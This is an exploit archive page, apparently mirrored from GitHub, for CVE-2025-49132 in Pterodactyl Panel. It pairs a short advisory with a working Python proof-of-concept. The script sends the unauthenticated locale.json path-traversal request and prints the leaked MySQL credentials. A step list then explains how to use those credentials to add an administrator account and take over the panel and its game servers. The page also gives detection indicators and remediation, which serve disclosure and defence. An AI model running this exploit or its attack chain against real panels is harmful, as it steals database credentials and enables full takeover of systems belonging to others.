PoC Archive PoC Archive
Critical CVE-2025-49132 unpatched

Pterodactyl Panel Unauthenticated Path Traversal via locale.json Leaking Database Credentials (CVE-2025-49132)

by vimmwy · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-49132
Category
web
Affected product
Pterodactyl Panel (game server management panel)
Affected versions
Prior to 1.11.11
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchervimmwy
CVE / AdvisoryCVE-2025-49132
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagspterodactyl, path-traversal, unauthenticated, information-disclosure, credential-leak, database, php, config-exposure, cwe-22
RelatedN/A

Affected Target

FieldValue
Software / SystemPterodactyl Panel (game server management panel)
Versions AffectedPrior to 1.11.11
Language / PlatformPython 3 (requests, colorama) PoC targeting a PHP/Laravel web application
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the Pterodactyl Panel instance)

Summary

Pterodactyl Panel prior to version 1.11.11 exposes a /locales/locale.json endpoint that accepts attacker-controlled locale and namespace query parameters without a required integrity/hash check, allowing an unauthenticated attacker to traverse outside the intended locale-file directory and force the panel to load and reflect the contents of arbitrary PHP configuration files as JSON. By pointing locale at a relative path traversal sequence (e.g. ../../../pterodactyl) and namespace at config/database, the attacker causes the panel’s PHP config array for config/database.php to be returned in the JSON response, leaking the live MySQL host, port, database name, username, and password. The included PoC sends this request and parses the leaked credentials directly out of the JSON response. With direct database access (or access to phpMyAdmin), an attacker can insert a row into the users table to create an administrator account and gain full control of the panel and every game server it manages.


Vulnerability Details

Root Cause

The /locales/locale.json endpoint builds a file path from the client-supplied locale and namespace parameters without sanitizing directory traversal sequences, and without enforcing the hash= parameter that is meant to gate which locale files can be requested. Because Pterodactyl’s PHP config files (e.g. config/database.php) return arrays when included, requesting them through the locale-loading mechanism causes their in-memory array contents (including database credentials) to be serialized into the JSON response instead of being treated as an error.

Attack Vector

  1. Send GET /locales/locale.json to the target and confirm it returns a JSON body without a hash= parameter present — this indicates the traversal check is not enforced (i.e., the instance is vulnerable).
  2. Send GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database — the traversal in locale escapes the intended locale directory and resolves to the application root, and namespace=config/database selects config/database.php for inclusion.
  3. The server responds with JSON containing the parsed contents of the PHP config array, including connections.mysql.host, port, database, username, and password.
  4. The attacker uses the leaked database credentials to connect directly (if port 3306 or a local/hosted phpMyAdmin is reachable) and inserts a new row into the users table to create an administrator-level Pterodactyl account.
  5. The attacker logs into the panel with the newly created administrator account, gaining full control of the panel and all managed game servers (which can be used to obtain a reverse shell on the host).

Impact

Complete unauthenticated compromise of the Pterodactyl Panel: disclosure of database credentials, arbitrary code execution potential via crafted config files, database tampering to create administrator accounts, and full takeover of the panel and all managed game servers.


Environment / Lab Setup

Target:   Pterodactyl Panel < 1.11.11, network-reachable /locales/locale.json endpoint
Attacker: Python 3 with `requests` and `colorama` installed

Proof of Concept

PoC Script

See CVE-2025-49132_PoC.py in this folder.

1
python3 CVE-2025-49132_PoC.py http://TARGET

Sends GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database to the target and, if vulnerable, parses and prints the leaked MySQL username:password@host:port/database connection string directly from the JSON response.


Detection & Indicators of Compromise

Signs of compromise:

  • Access log entries for /locales/locale.json?locale=../ traversal requests
  • Unexpected new administrator accounts appearing in the panel’s users table
  • Unrecognized direct database connections to the Pterodactyl MySQL instance
  • Unexplained server/game-instance creation or reverse shell activity originating from panel-managed servers

Remediation

ActionDetail
Primary fixUpgrade Pterodactyl Panel to version 1.11.11 or later, which patches the locale.json path traversal
Interim mitigationNo official software workaround exists; deploy an external Web Application Firewall (WAF) to block traversal sequences (../) in requests to /locales/locale.json, and restrict direct network access to the database port

References


Notes

Mirrored from https://github.com/vimmwy/CVE-2025-49132 on 2026-07-06. CVE-2025-49132_PoC.py sends the real locale.json path-traversal request and parses leaked Pterodactyl DB credentials.

CVE-2025-49132_PoC.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import json
import argparse
import colorama
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

arg_parser = argparse.ArgumentParser(
    description="Check if the target is vulnerable to CVE-2025-49132.")
arg_parser.add_argument("target", help="The target URL")
args = arg_parser.parse_args()

try:
    target = args.target.strip() + '/' if not args.target.strip().endswith('/') else args.target.strip()
    r = requests.get(f"{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database", allow_redirects=True, timeout=5, verify=False)
    if r.status_code == 200 and "pterodactyl" in r.text.lower():
        try:
            raw_data = r.json()
            data = {
                "success": True,
                "host": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("host", "N/A"),
                "port": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("port", "N/A"),
                "database": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("database", "N/A"),
                "username": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("username", "N/A"),
                "password": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("password", "N/A")
            }
            print(f"{colorama.Fore.LIGHTGREEN_EX}{target} => {data['username']}:{data['password']}@{data['host']}:{data['port']}/{data['database']}{colorama.Fore.RESET}")
        except json.JSONDecodeError:
            print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
        except TypeError:
            print(colorama.Fore.YELLOW + "Vulnerable but no database" + colorama.Fore.RESET)
    else:
        print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
except requests.RequestException as e:
    if "NameResolutionError" in str(e):
        print(colorama.Fore.RED + "Invalid target or unable to resolve domain" + colorama.Fore.RESET)
    else:
        print(f"{colorama.Fore.RED}Request error: {e}{colorama.Fore.RESET}")